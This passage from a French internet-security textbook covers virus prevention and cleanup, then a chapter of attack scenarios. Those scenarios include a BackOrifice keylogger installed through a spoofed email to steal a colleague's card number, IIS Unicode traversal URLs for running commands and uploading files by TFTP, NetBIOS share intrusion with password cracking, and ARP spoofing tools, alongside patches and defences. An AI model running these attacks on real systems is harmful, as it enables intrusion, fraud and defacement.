Le courrier électronique est l’un des principaux vecteurs de transmission des


virus via les pièces jointes. Il est vivement conseillé d’éviter l’ouverture d’une pièce
jointe issue d’une personne que vous ne connaissez pas. De plus, ne lancez jamais
un exécutable (.EXE et .COM notamment) qui vous a été envoyé par mail, même si
vous utilisez un antivirus. Non seulement il peut contenir un virus mais il peut s’agir
d’un Cheval de Troie dévastateur, qui peut échapper à votre antivirus.

Pour être radical, vous devez ajouter à vos habitudes celles de ne jamais ouvrir
de messages envoyés par des personnes inconnues et de désactiver toutes les
possibilités d’exécution de contenu actif (JavaScript, VBScript, etc.) dans votre
logiciel de messagerie.

5) Protégez-vous des macrovirus :

Il existe des techniques simples qui permettent de se protéger contre les


macrovirus, en voici les plus fréquentes.

Prenons le programme Word de la suite Microsoft Office comme exemple.


Sachez que les recommandations que nous donnons peuvent également être
appliquées aux autres logiciels de cette suite.

Sous Windows 2000, il existe trois niveaux de sécurité (accessibles via le menu
Outils/Macro/Sécurité). Choisissez le niveau le plus élevé, sauf si, dans certains de
vos documents, vous utilisez des macros non signées, auquel cas il est préférable
d’employer un scanner résident et de sélectionner le niveau de sécurité moyen.

De plus, vous pouvez protéger en lecture seule le fichier NORMAL.DOT, situé


par défaut dans le répertoire C:\ProgramFiles\Microsoft Office\Modèles. Pour ce
faire, utilisez l’Explorateur Windows et affichez les propriétés de ce fichier (en le
sélectionnant et en choisissant avec le bouton droit de la souris l’option Propriétés
du menu contextuel). Cochez la case Lecture seule.

Les deux précédents conseils, s’ils permettent de bloquer la propagation de


certains macrovirus, ne constituent certainement pas une protection absolue. En
190 La sécurité sur Internet

effet, un virus peut, dans certaines conditions, modifier les options de Word ou
même changer les propriétés d’un fichier.

En cas de doute, il est recommandé d’utiliser un logiciel comme Visionneuse ou


Word Viewer, capable d’afficher les documents .DOC, sans possibilité d’exécution
des macros.

Lors de l’installation de tels logiciels, il vous est proposé de les associer par
défaut aux fichiers .DOC, ce qui permet de les lancer à la place de Word lorsqu’un
fichier de ce type est ouvert, en particulier via un attachement dans un message ou
sur un site Web, vous laissant ensuite la possibilité de l’éditer avec Word si besoin
est.

Enfin, sachez que l’idéal est de combiner le tout ou partie de ces conseils avec
l’utilisation d’un antivirus résident.

6) Ne récupérez jamais des fichiers sur des sites douteux :

Lorsque vous souhaitez récupérer un logiciel de type freeware ou shareware sur


l’Internet, utilisez de préférence les sites de distribution spécialisés comme
download.com, Tucows, Simtel, etc. Vous diminuez ainsi les risques de télécharger
une archive contaminée.

Par ailleurs, ne récupérez aucun fichier sur les sites qui proposent des logiciels
piratés. Non seulement, c’est illégal, mais vous risquez de rapatrier en même temps
un virus.

7) Configurez votre BIOS de façon adéquate :

Les ordinateurs récents proposent plusieurs options qu’il peut être intéressant
d’activer dans le panneau de configuration du BIOS. Il est ainsi déconseillé de
désactiver le démarrage sur le lecteur A:\ et d’activer les protections antivirus
proposées.

De plus, et si cela est autorisé par votre entreprise, n’hésitez pas à utiliser un mot
de passe sur votre ordinateur, ceci limiterait les risques de contamination par un tiers
pendant votre absence.

8) Faites des sauvegardes :

La meilleure façon de récupérer des fichiers détruits par un virus ou un Cheval


de Troie est de restaurer ces fichiers à l’aide d’une sauvegarde. Si vous travaillez en
réseau, il se peut que vos fichiers soient automatiquement sauvegardés sur les
Les problèmes de virus 191

serveurs de votre entreprise. Si besoin est, renseignez-vous auprès du chargé de


l’administration des systèmes.

B - Que faire en cas de contamination ?

1) Gardez votre sang froid :

La première recommandation est surtout de ne pas céder à la panique. Peu de


virus ont un effet véritablement dévastateur, et même les plus dangereux ne
s’attaquent réellement à votre système que lorsque certaines conditions précises sont
réunies.

De plus, il peut s’agir d’une fausse alerte. C’est pourquoi, il est généralement
conseillé d’utiliser un second antivirus si vous en employez déjà un, pour confirmer
les soupçons.

Et, à toute fin utile, mieux vaut demander l’avis d’une personne compétente, en
évitant toutefois de tirer des conclusions trop hâtives.

2) Mettez votre ordinateur hors tension :

Il est très important d’interrompre toute activité avec un ordinateur sur lequel la
présence d’un virus est confirmée. En effet, en continuant à accéder à des fichiers ou
à lancer des programmes vous risquez de propager davantage le virus. Pire, il se peut
qu’il déclenche sa charge finale, notamment si celle-ci est programmée pour
s’activer au bout d’un certain nombre de fichiers infectés.

Assurez-vous également que personne ne viendra utiliser votre ordinateur si vous


devez vous absenter même quelques minutes.

3) Essayez de supprimer le virus :

Si c’est votre antivirus qui a signalé la présence d’un virus, suivez ses indications
notamment en essayant de nettoyer les fichiers contaminés. Si ce n’est pas possible,
effacez ces fichiers puis restaurez-les à partir d’une sauvegarde, lorsque vous êtes
sûr que votre système ne renferme plus aucun virus (il est d’ailleurs conseillé de
refaire une analyse complète d’un système après que l’antivirus a détecté et réparé
un fichier contaminé).

Vous pouvez également consulter le site Web de l’éditeur du logiciel, pour vous
informer des actions préconisées afin d’éradiquer le virus ou le Cheval de Troie
détecté. Il faut savoir qu’en règle générale, la suppression d’un Cheval de Troie
192 La sécurité sur Internet

nécessite une procédure précise que l’antivirus n’est pas capable d’effectuer lui-
même.

4) Utilisez une disquette de démarrage d’urgence :

Certains virus peuvent empêcher l’installation d’un antivirus en corrompant ses


fichiers lors de leurs copies sur le disque dur. Dans ce cas, il faut recourir à la
disquette de démarrage d’urgence, généralement fournie avec le logiciel ou dont la
création est proposée lors de son installation. Si vous ne disposez pas d’une telle
disquette, créez-en une sur un autre poste.

Eteignez votre ordinateur, attendez quelques instants et redémarrez sur la


disquette de démarrage. Cette dernière, bootable sur A, contient un scanner qui va
balayer le contenu de votre disque dur afin de détecter, et de supprimer les virus. Si,
encore une fois, le logiciel n’arrive pas à le nettoyer, il faudra se résoudre à effacer
le fichier.

Enfin n’hésitez pas à utiliser les services de support technique mis en place par
l’éditeur du logiciel antivirus si vous en avez la possibilité afin d’obtenir davantage
d’informations.

Résumé du chapitre 9

Les recommandations qui terminent ce chapitre ont pour but d’aider les
gestionnaires à se protéger contre les virus. Cependant en dehors de la possession
d’antivirus, une vigilance accrue, une mise à jour des connaissances et une
surveillance sans relâche ne pourront être que profitables pour l’intégrité des
systèmes et des réseaux.

Malgré le progrès qu’a connu cette technologie, le pouvoir des virus reste limité
face à certaines situations :
– les virus ne peuvent pas infecter les fichiers placés sur des disques protégés en
écriture et ne s’attaquent pas aux documents, à l’exception des virus de macros
Word, qui s’attaquent aux documents et aux modèles créés sous Word ;
– ils n’infectent pas les fichiers compressés. Cependant, l’infection des
applications au sein d’une archive compressée peut précéder leur compression ;
– les virus sont incapables de s’attaquer à votre matériel (moniteurs, claviers,
composants électroniques, etc.) : seuls les logiciels en sont victimes ;
– les virus sur Macintosh ne peuvent rien contre les ordinateurs PC, et vice-
versa. La seule exception, là encore, porte sur les virus de macros Word et Excel,
Les problèmes de virus 193

qui s’attaquent aux feuilles de calcul, aux documents et aux modèles communs à
Windows et à Mac OS ;
– l’impact des virus sous UNIX (et sous Windows NT) est réduit car l’accès aux
fichiers peut être rigoureusement contrôlé. Il est possible de placer des limitations
d’accès sur un fichier afin de sélectionner les utilisateurs.

A l’image des virus qui affectent le corps humain, les programmes virus sont des
vrais fléaux pour les systèmes et les réseaux. La prévention et la vigilance sont donc
de rigueur.
Chapitre 10

Les scénarios d’attaques

Ce chapitre est consacré à l’illustration d’attaques et de risques. Par ce volet


pratique, nous espérons que les éléments théoriques abordés précédemment seront
mieux illustrés et assimilés par le lecteur. Les situations sont innombrables, mais les
exemples variés permettront de clarifier la démarche, la logique ainsi que les
techniques et outils utilisés par les agresseurs.

Les cas qui seront détaillés sont les suivants :


– l’obtention d’informations bancaires (cartes de crédit) ;
– l’attaque du serveur Web Microsoft IIS : la faille Unicode ;
– l’accès aux répertoires et fichiers partagés : attaque de NetBios ;
– les attaques ARP ;
– l’espionnage des collègues sur un même réseau ;
– l’obtention des mots de passe des serveurs ;
– le risque de falsification des messages avioniques (télécommunication air-sol).

10.1. L’obtention des informations bancaires (cartes de crédits)

L’objectif de cette attaque est d’obtenir le numéro et la date d’expiration de la


carte de crédit d’une personne habituée à effectuer des transactions on-line (en ligne)
à partir d’un PC de son entreprise. Tout le monde sait que pour faire des achats sur
Internet, un numéro de carte ainsi que sa date d’expiration suffisent. Si quelqu’un
obtient ces informations d’une façon frauduleuse, il peut commander des articles et
196 La sécurité sur Internet

se faire même livrer la commande à une poste restante, puis, une fois la marchandise
récupérée, fermer la boîte postale. Le cas suivant concerne un pirate travaillant dans
la même entreprise que sa victime. Il tente de se procurer les informations bancaires
de la victime via sa carte de crédit, afin de réaliser des transactions on-line.

Pour réaliser son attaque, le pirate suit la procédure suivante :


► installation du cheval de Troie BackOrifice (www.bo2k.com) dans la machine
de la victime ;
► utilisation de la liste des commandes « Key Logging » dans BackOrifice qui
sert à enregistrer dans un fichier texte tous les caractères tapés sur le clavier de la
machine. Le processus d’enregistrement peut se répéter plusieurs fois et durer des
jours ou des semaines ;
► téléchargement du fichier texte ;
► analyse du fichier et découverte du numéro et de la date d’expiration de la
carte de crédit que la victime aura tapés lors d’une transaction on-line.

L’accès physique à la machine de la victime étant pratiquement impossible ou


trop risqué, l’installation de BackOrifice sera le problème majeur et la tâche la plus
difficile pour le pirate. Il existe toutefois deux possibilités permettant l’installation
de BackOrifice dans la machine de la victime :
– l’accès physique et direct à la machine, ou
– l’envoi d’un email contenant BackOrifice comme pièce jointe.

Imaginons que le pirate n’arrive pas à accéder physiquement à la machine cible.


La seule alternative, c’est l’envoi d’un faux email contenant BackOrifice. Le pirate
doit inciter sa victime à ouvrir le fichier attaché joint contenant BackOrifice. Pour
réaliser cet objectif, il procédera comme suit :

Tout d’abord, il va essayer d’obtenir les adresses emails de la victime et de son


chef hiérarchique, en utilisant la technique du social engineering.

Ensuite, il va envoyer un faux email portant, comme adresse de l’émetteur (la


source), celle du chef hiérarchique et l’adresse de la victime sera l’adresse de
destination. En consultant sa boîte d’emails, la victime reçoit le courrier électronique
portant l’adresse de son chef hiérarchique et croit avoir affaire à un email de service
(donc important) auquel il faut porter l’attention nécessaire. L’objet de l’email
pourrait être « Urgent ». Le corps du courrier contiendrait le texte suivant :
« Veuillez lire le rapport en fichier attaché ci-joint et me répondre le plus tôt
possible, après analyse ». Cet email n’a d’autre but que de tromper la victime afin
Les scénarios d’attaques 197

qu’elle ouvre le fichier attaché et par conséquent lance l’installation automatique de


BackOrifice.

Pour concevoir un faux email, le pirate utilise, par exemple, l’outil Avalanche
(Figure 10.1) et pour enregistrer les caractères rentrés par la victime, il se sert de la
fonction « KeyLogger » inclus dans BackOrifice (Figure 10.2).

Figure 10.1. Génération de faux email par l’outil Avalanche


198 La sécurité sur Internet

Figure 10.2 La fonction de KeyLogger de BackOrifice

10.2. Attaque du serveur Web Microsoft IIS : la faille Unicode

Les internautes utilisent différents systèmes d’exploitation et chaque système


utilise son propre langage. De plus, il existe un code qui permet de communiquer
avec n’importe quel système d’exploitation et de comprendre la même chose : c’est
le principe d’Unicode. Cependant, comme tout système, Unicode n’est pas sans
faille.

Cette faille Unicode est présente sur les serveurs Web Microsoft IIS (Internet
Information Service). Les systèmes vulnérables sont essentiellement Microsoft IIS
4.0 et Microsoft IIS 5.0. La faille Unicode est extrêmement facile à exploiter et
permet d’attaquer des serveurs Web Microsoft IIS.

Dans la section suivante, nous allons montrer comment on réussit à contrôler un


serveur Web IIS et comment on modifie son contenu (par exemple les pages Web).
Cet exemple sera décrit en dernier lieu après la présentation de toutes les
commandes.
Les scénarios d’attaques 199

Pour exploiter cette faille, le pirate tente d’accéder au fichier cmd.exe qui, sur un
serveur NT situé dans le répertoire c:\winnt\system32. Le fichier cmd.exe permet
d’exécuter les mêmes commandes lorsqu’on est en mode MS-DoS (en jargon : sous
DoS), c’est-à-dire que l’utilisateur peut, à sa convenance, créer ou supprimer un
répertoire, copier un fichier, etc.

Si un serveur IIS est vulnérable au niveau de la faille Unicode, un listing des


répertoires du serveur IIS est affiché.

Lorsque le serveur est vulnérable et que la faille est découverte, plusieurs


commandes arbitraire et normalement interdites sont désormais faciles à exécuter.

Trouver un serveur IIS vulnérable


L’existence de la faille Unicode permet donc d’exécuter des commandes
arbitraires. Par conséquent, pour savoir si son serveur IIS cible est vulnérable,
l’administrateur peut essayer les commandes suivantes à partir de son navigateur :
► www.Votre_Site_Cible.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c
+dir+c:\
► www.Votre_Site_Cible.com/msadc/..%255c..%255c..%255c..%255cwinnt/syste
m32/cmd.exe?/c+dir+c:\
► www.Votre_Site_Cible.com/cgi-
bin/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
► www.Votre_Site_Cible.com/samples/..%255c..%255c..%255c..%255cwinnt/sys
tem32/cmd.exe?/c+dir+c:\
► www.Votre_Site_Cible.com/iisadmpwd/..%255c..%255c..%255c..%255cwinnt/
system32/cmd.exe?/c+dir+c:\
► www.Votre_Site_Cible.com/_vti_cnf/..%255c..%255c..%255c..%255..%255..%
255cwinnt/system32/cmd.exe?/c+dir+c:\
► www.Votre_Site_Cible.com/_vti_bin/..%255c..%255c..%255c..%255..%255..%
255cwinnt/system32/cmd.exe?/c+dir+c:\
► www.Votre_Site_Cible.com/adsamples/..%255c..%255c..%255c..%255..%255.
.%255cwinnt/system32/cmd.exe?/c+dir+c:\

Enfin, si le serveur IIS cible est réellement vulnérable à ces commandes, on doit
avoir un listing du répertoire c:\, comme indiqué dans la figure ci-après.
200 La sécurité sur Internet

Figure 10.3. La faille Unicode dans un serveur Web Microsoft IIS

Si au contraire on n’obtient pas ce résultat, le serveur IIS est probablement


immunisé contre ce type de vulnérabilité.

Pour l’affichage du listing d’un répertoire :


Pour afficher le listing d’un répertoire, il suffit d’ajouter à la dernière partie
c+dir+c:\ le nom du répertoire souhaité. Par exemple : c+dir+c:\WINT donne un
listing du répertoire c:\WINT.
Les scénarios d’attaques 201

Pour télécharger un fichier :


Pour télécharger un fichier, il suffit de remplacer la partie :
/cmd.exe?/c+dir+c:\ par /cmd.exe?/c+type+chemin_du_fichier, ou par :
/cmd.exe?/c%20type\c%20c:\chemin_du_fichier.

Pour supprimer un fichier :


Pour supprimer le fichier teste.exe, il faut juste remplacer la partie
/cmd.exe?/c+dir+c:\ par /cmd.exe?/c+del+c:\teste.exe, ou par :
/cmd.exe?/c%20del%20c:\teste.exe.

Pour copier un fichier :


Pour copier le fichier c:\teste.exe à d:\teste.exe, il faut remplacer la partie
/cmd.exe?/c+dir+c:\ par /cmd.exe?/c+copy+c:\teste.exe+d:\teste.exe, ou par
/cmd.exe?/c%20copy%20c:\teste.exe%20d:\teste.exe.

Pour uploader un fichier :


Pour uploader, un fichier nommé teste.exe qu’on a sur son disque dur avec
comme destination c:\teste.exe sur le disque dur du serveur, il faut TFTP (Trivial
File Transfer protocol), et remplacer la partie /cmd.exe?/c+dir+c:\ par
/cmd.exe?/c+tftp.exe+’’-i’’+votre_ip+GET+teste.exe+c:\teste.exe.

Faire exécuter au serveur cible un fichier :


Pour faire exécuter au serveur IIS cible le fichier teste.exe de son disque dur , il
faut juste remplacer la partie /cmd.exe?/c+dir+c:\ par /cmd.exe?/c+c:\teste.exe.

D’autres programmes pour faire exécuter un fichier au serveur sont téléchargeables à


partir de : http://packetstormsecurity.org/001-exploits/IISHack1.5.zip.

Il existe aussi des patchs pour les versions qui présentent cette faille d’Unicode,
par exemple :

Pour IIS 4.0 :


http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp

Pour IIS 5.0 :


http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp

Modification des pages Web


A ce stade, le pirate possède toutes les commandes nécessaires pour remplacer
les pages Web ou la page Web d’accueil. La démarche est un jeu d’enfant :
202 La sécurité sur Internet

► On
choisit le fichier de type HTML contenant la page entière qu’on souhaite
modifier (ou seulement le texte ou les images de la page) ;
► On télécharge le fichier sur l’ordinateur ;
► On effectue les modifications à sa convenance ;
► On « upload » enfin le fichier modifié sur le serveur (on remonte le fichier
modifié vers le serveur, le fichier contenant la page d’accueil par exemple).

Et le tour est joué ! A la prochaine connexion, l’utilisateur trouvera la page


modifiée.

Dans le site www.astalavista.com, plusieurs outils qui réalisent des attaques


Unicode sur les serveurs Web sont téléchargeables gratuitement, par exemple :
– Socket80
– IIS Xploit
– W3B h4XORz

10.3. Accès aux répertoires et fichiers partagés : attaque de NetBios

Les applications développées sous Windows NT peuvent fonctionner en utilisant


directement les sockets TCP/IP, comme le font les applications du type de Telnet ou
FTP. D’autres applications utilisent les communications basées sur NetBios qui
permet à des applications sous Windows de communiquer entre elles.

Pour communiquer directement, les applications basées sur NetBios utilisent des
noms de machines, comme Serveur2, Station3, etc. Par exemple, il est possible sur
une machine Windows d’utiliser la commande Net View \\Machine pour consulter
la liste des ressources d’un serveur ou de parcourir le réseau à l’aide de l’explorateur
ou du gestionnaire de fichiers.

L’attaque de NetBios est une intrusion dans un ordinateur possédant des


répertoires et des fichiers partagés. Le but est d’accéder à ces informations
partagées.

Les étapes suivantes décrivent la réalisation de ce type d’attaque par le biais des
commandes DoS. Néanmoins, ce type d’attaque peut être réalisé aussi d’une façon
plus simple avec l’outil xSharez. Cet outil, très efficace, présente une interface
graphique conviviale. Il est téléchargeable à partir du site http://www.download.com.

Détaillons d’abord le processus manuel avec l’utilisation des commandes DoS.


Les scénarios d’attaques 203

A- Utilisation des commandes DoS

Etape 1 :
Se mettre sous le prompt de DoS et taper la commande : C:\nbtstat –A
Adresse_ip_Cible

On obtient un tableau de ce type :

Name Type Status

DG_serveur <20> UNIQUE Registred

WORKGROUP <00> GROUP Registred

DG_serveur <03> UNIQUE Registred

La ligne « DG_serveur <20> UNIQUE Registred » contient le nom de


l’ordinateur cible. « DG_serveur » et la valeur <20> indique que l’ordinateur cible
possède des fichiers partagés.

Etape 2 :
Editer le fichier lmhost en tapant la ligne edit lmhost, puis taper les commandes :
Adresse_ip_Cible nom_de_l’ordinateur # PRE
Ensuite enregistrer le fichier lmhost.

Etape 3 :
Taper la commande : nbtstat –R.

On obtient alors : « Successful purge and preload of the NBT Remote Cache
Name Table »

Etape 4 :
Entrer ensuite la commande : net view \\nom_de_l’ordinateur_cible. Pour notre
cas : C:\net view \\DG_serveur. On obtient alors l’inventaire des ressources
partagées (a,c,d,e,…).

Cette commande net view sert à détecter et voir les ressources partagées d’un
ordinateur.
204 La sécurité sur Internet

Etape 5 :
Entrer ensuite : net use \\nom_de_l’ordinateur_cible\X \\X étant la lettre de la
partie à laquelle on veut accéder. Pour accéder par exemple au répertoire c,
remplacer le X par c$.

A partir de ce moment, l’ordinateur cible est désormais sous contrôle.

La commande net use sert à se connecter au répertoire d’une ressource partagée


sans mot de passe.

B - Utilisation de l’outil xSharez


L’outil xSharez est un outil très puissant et facilite le processus qu’on vient de
décrire. En offrant une interface graphique conviviale, il permet à l’utilisateur
d’afficher les répertoires et fichiers partagés d’un ordinateur cible. Il suffit de
connaître seulement l’adresse IP de cet ordinateur. xSharez intègre également l’outil
xIntruder, qui permet de craquer les mots de passe des répertoires et fichiers
partagés et protégés par des mots de passe. D’après la documentation, xIntruder est
capable de craquer tout mot de passe d’un réseau local en moins d’une minute, et sur
Internet en moins de 10 minutes.

A titre d’exemple, nous présentons étape par étape, les écrans générés par
xSharez, suite à une attaque de NetBios d’un ordinateur.

Ecran 1 : Une fois l’adresse IP de l’ordinateur cible fournie, xShares cherche les
répertoires et fichiers partagés de cet ordinateur et les affiche.
Les scénarios d’attaques 205

Ecran 2 : Pour afficher le listing d’un répertoire partagé ou afficher le contenu


d’un fichier partagé, l’utilisateur doit double cliquer sur le répertoire ou le fichier.

Ecran 3 : Si le répertoire ou le fichier est protégé par un mot de passe, un sous


écran est affiché pour que l’utilisateur tape le mot de passe approprié. Si l’utilisateur
ne dispose pas du mot de passe (et en général le pirate n’est pas en mesure de le
fournir) : l’outil xIntruder en est la solution. En effet, il permet de craquer le mot de
passe du répertoire partagé en question.
206 La sécurité sur Internet

Ecran 4 : Pour craquer le mot de passe du répertoire ou fichier partagé,


l’utilisateur doit simplement cliquer sur le bouton « Password » pour activer l’outil
xIntruder. Au bout d’un certain temps, xIntruder affiche le résultat du processus de
craquage qui est le mot de passe trouvé. Dans l’exemple de l’écran ci-dessous, le
mot de passe trouvé est « DFG ».

Ecran 5 : Maintenant, il suffit de taper le mot de passe « DFG ».

Ecran 6 : xSharez affiche alors un listing du répertoire ou le contenu du fichier


partagé. Dès lors, l’utilisateur contrôle la situation et exécute les actions à sa guise.
Les scénarios d’attaques 207

Il peut télécharger, modifier, consulter, uploader des fichiers des répertoires qui ne
lui appartiennent pas.

NetBios étant un service qui utilise les ports 137 et 139, la meilleure défense
contre ce type d’attaque est de situer le blocage au niveau des firewalls de tout
paquet entrant ou sortant dont le port source ou destination est entre 137 et 139.

10.4. Les attaques ARP

10.4.1. L’attaque du « ARP spoofing »

Cette section présente un exemple d’attaque, connue sous le nom de ARP


spoofing, qui exploite les vulnérabilités au sein du protocole ARP et l’interaction
entre le protocole IP avec les protocoles Ethernet. Cette attaque est applicable
uniquement sur un réseau Ethernet exécutant IP.

L’ARP fonctionne en envoyant des paquets de demande ARP (ARP request).


Une demande ARP pose la question, « Votre adresse IP est-elle x.x.x.x ? Si oui,
envoyez votre adresse MAC ». Ces paquets sont émis à tous les ordinateurs sur le
LAN (paquets de diffusion), même s’il s’agit d’un réseau commuté. Chaque
208 La sécurité sur Internet

ordinateur examine la demande ARP, vérifie s’il est, à ce moment-là, assigné à


l’adresse IP indiquée, et envoie une réponse ARP (ARP reply) contenant son adresse
MAC.

Pour réduire au minimum le nombre de demandes ARP émises, les systèmes


d’exploitations gardent un cache des réponses ARP (ARP cache). Quand un
ordinateur reçoit une réponse ARP, il va mettre à jour son cache d’ARP avec la
nouvelle association d’IP/MAC. L’ARP étant un protocole apatride, la plupart des
systèmes d’exploitation mettront à jour leur cache ARP à la réception d’une réponse
ARP, même si aucune demande ARP n’a pas été requise.

« ARP spoofing » consiste à construire des réponses falsifiées d’ARP (forged


ARP replies). En envoyant des réponses ARP forgées, un ordinateur cible C pourrait
être convaincu que le destinataire sera l’ordinateur A alors qu’en fait c’est
l’ordinateur B qui les réceptionne. Exécuté correctement, l’ordinateur A ignore
même ces déviations ou ces redirections. Le processus de mise à jour du cache ARP
(ARP cache) d’un ordinateur cible avec une entrée falsifiée est désigné sous le nom
de « corruption ARP » (ARP poisoning). L’outil Winarp_sk, téléchargeable à partir
de l’adresse www.arp-sk.org, permet de réaliser cette attaque.

10.4.2. L’attaque du sniffing dans un réseau commuté

Les commutateurs (switches) déterminent les trames (frames) et leurs ports


correspondants en consultant une table qui contient la liste des adresses MAC et de leurs
ports respectifs. Cette table est construite quand le commutateur est mis sous tension.

Les cartes de réseau peuvent entrer dans un état appelé « promiscuous mode » où
elles sont autorisées à examiner les trames destinées aux adresses MAC autres que les
leurs. Sur les réseaux commutés, cela ne pose pas de problème car le commutateur
conduit les trames basées sur la table décrite ci-dessus. Ceci empêche en effet le sniffing
des trames. Cependant, en utilisant l’attaque de la corruption ARP (ARP poisoning), le
sniffing peut être exécuté de plusieurs manières sur un réseau commuté.

Une attaque « man-in-the-middle » (MiM) en est un exemple. Quand un MiM est


exécuté, un utilisateur malveillant positionne son ordinateur sur le chemin de
communications entre deux ordinateurs cibles. Le sniffing peut alors être exécuté.
L’ordinateur malveillant expédie des trames entre les deux ordinateurs cibles ainsi
les communications ne sont pas interrompues. L’attaque est effectuée comme suit (X
est l’ordinateur attaquant, T1 et T2 sont les cibles) :
►X corrompt le cache ARP de T1 et de T2.
Les scénarios d’attaques 209

► T1 associe l’adresse IP de T2 à l’adresse MAC de X.


► T2 confond l’adresse IP de T1 avec l’adresse MAC de X.
► Tout le trafic IP de T1 et de T2 ira alors à X d’abord, au lieu d’aller
directement à T1 et T2.

Figure 10.4. L’attaque de MiM

L’attaque de « Man-in-the-Middle » peut être réalisée avec l’outil Winarp_mim,


téléchargeable à partir de l’adresse www.arp-sk.org. Ceci est extrêmement efficace
quand nous considérons que non seulement des ordinateurs sont aussi bien
empoisonnés, mais des routeurs/gateways également. Tout le trafic Internet d’un
serveur a pu ainsi être intercepté en exécutant un MiM sur un ordinateur cible et le
routeur du LAN.

L’inondation MAC (MAC flooding) est une autre méthode de sniffing sur un
réseau commuté. L’envoi de réponses ARP spoofed (Spoofed ARP replies) vers un
commutateur à une vitesse extrêmement rapide engorgera la table du Port/MAC du
commutateur. Les résultats changent selon la marque, mais quelques commutateurs
se changeront en mode de diffusion (Broadcast) à ce moment. Le sniffing peut alors
être exécuté.

10.4.3. L’attaque de diffusion (Broadcasting)

Les trames peuvent être diffusées sur la totalité du réseau si l’adresse de


destination MAC est placée à FF :FF :FF :FF :FF :FF, également connu sous le nom
de « MAC Broadcast ». En envoyant sur un réseau des trames de réponses ARP
spoofed (spoofed ARP replies) qui placent l’adresse MAC de la passerelle réseau à
l’adresse de diffusion (broadcast address), toutes les données destinées à l’extérieur
du réseau seront diffusées.
210 La sécurité sur Internet

10.4.4. L’attaque de déni de service

La mise à jour des caches ARP (ARP caches) avec des adresses MAC
inexistantes causera la perte des trames. Celles-ci ont pu être envoyées avec un
mode rapide à tous les clients sur le réseau afin de causer une attaque de déni de
service. C’est également un effet secondaire des attaques de post-MiM, puisque les
ordinateurs visés continueront à envoyer des trames aux adresses MAC de
l’attaquant même après qu’ils s’effacent du chemin de communication. Pour
effectuer une attaque propre de MiM, les ordinateurs cibles devraient avoir les
entrées originales d’ARP restaurées par l’ordinateur attaquant.

10.4.5. L’attaque de Clonage (Cloning)

Les adresses MAC ont été prévues pour être uniques pour chaque interface de
réseau produite. Elles devaient être gravées dans la ROM de chaque interface, et ne
souffraient aucun changement. De nos jours, les adresses MAC sont facilement
changeables. Les utilisateurs de Linux peuvent même changer leur MAC sans
logiciel de spoofing, en utilisant un paramètre simple dans « ifconfig », le
programme de configuration d’interface pour le système d’exploitation. Un pirate
qui a pu attaquer un ordinateur par déni de service, pourrait assigner, par la suite,
l’IP et le MAC de cet ordinateur cible, recevant ainsi toutes les trames prévues
(destinées à l’ordinateur cible).

10.4.6. Les outils d’attaque ARP

ARPoison :
ARPoison est un outil pour UNIX qui crée des réponses ARP spoofed (Spoofed
ARP replies). Les utilisateurs peuvent indiquer la source et la destination des
adresses IP/MAC. Cet outil est téléchargeable à partir du site :
http://packetstormsecurity.org/.

Ettercap :
Ettercap est un programme puissant pour UNIX utilisant une interface utilisateur
graphique, GUI, assez facile à utiliser. Toutes les opérations sont automatisées, et les
ordinateurs cibles sont choisis à partir d’une liste scrollable de machines détectées
sur le LAN. Ettercap peut exécuter trois méthodes de sniffing : IP, MAC, et ARP. Il
automatise également les procédures suivantes :
– Injection de caractères dans les connexions
Les scénarios d’attaques 211

– Collection de mots de passe


– Destruction des connexions
– Ettercap peut être téléchargeable au site : http://ettercap.sourceforge.net/.

Parasite :
Parasite est un programme qui observe un LAN pour des demandes ARP (ARP
request), et envoie automatiquement des réponses ARP spoofed (Spoofed ARP
reply), ce qui place l’ordinateur attaquant comme MiM pour n’importe quel
ordinateur qui énonce des demandes ARP (ARP request). Ceci a pour conséquence
de favoriser une attaque MiM sur toutes les machines du LAN et toutes les données
sur le commutateur peuvent être aspirées (sniffed).

Une fois arrêté, Parasite ne fait pas le nettoyage approprié. Ce qui a pour
conséquence un déni de service de tous les ordinateurs contaminés car leurs caches
ARP (ARP cache) pointent sur une adresse MAC qui n’est plus expéditeur de leurs
trames. Les entrées ARP empoisonnées dans la cache ARP (ARP cache) doivent
expirer avant que l'opération normale ne puisse reprendre.

Parasite peut être téléchargeable à partir du site :


http://www.thehackerschoice.com/releases.php.

10.4.7. Les défenses

Contre l’ARP spoofing, il n’existe aucune défense universelle. La seule défense


possible est l’utilisation des entrées statiques d’ARP. Puisque les entrées statiques ne
peuvent être mises à jour, les réponses ARP spoofed (spoofed ARP replies) sont
ignorées.

Pour empêcher le spoofing, les tables ARP devraient, pour chaque machine sur le
réseau, avoir une entrée statique. Les conséquences en sont les suivantes : le
déploiement de ces tables et leur mise à jour sont des tâches non pratiques pour la
plupart des LANs. En outre on note parfois le comportement bizarre des itinéraires
statiques sous Windows. Les essais ont montré que Windows accepte toujours les
réponses ARP spoofed (spoofed ARP replies) et met à jour l’entrée statique avec le
MAC forgé, sabotant le but des itinéraires statiques.

Le clonage de MAC (MAC cloning) peut être empêché par un dispositif trouvé
sur les commutateurs appelé Port Security (également connu sous le nom de Port
Binding ou MAC Binding). Port Security empêche des changements aux tables de
MAC d’un commutateur, à moins qu’il soit exécuté manuellement par un
212 La sécurité sur Internet

administrateur réseau. Il n’est cependant pas pratique pour les grands réseaux, ou les
réseaux employant des serveurs DHCP1. Port Security n’empêche pas l’ARP
spoofing.

Hormis ces deux méthodes, la meilleure parade est la détection. L’Arpwatch est
un programme libre d’UNIX qui écoute des réponses d’ARP (ARP replies) sur un
réseau. Il construit une table des associations d’IP/MAC et la stocke dans un fichier.
Quand l’adresse MAC liée à un IP change (désigné sous le nom flip-flop), un email
est envoyé à un administrateur.

Les essais ont montré aussi que l’exécution de l’outil Parasite sur un réseau
cause plusieurs flip-flop, laissant le MAC de l’attaquant présent dans les emails
d’Arpwatch. Ettercap a causé plusieurs flip-flop, mais il serait difficile de détecter
où, sur un réseau avec DHCP, les flip-flop se produisent à intervalles réguliers.

Le clonage de MAC (MAC cloning) peut être détecté en employant RARP


(reverse ARP). Le RARP demande l’adresse d’IP d’une adresse connue de MAC.
L’envoi d’une demande RARP de toutes les adresses de MAC sur un réseau pourrait
déterminer si n’importe quel ordinateur exécute le clonage, et si des réponses
multiples sont reçues pour une adresse simple de MAC.

Il est important de se rappeler que les systèmes d’exploitation ont leurs propres
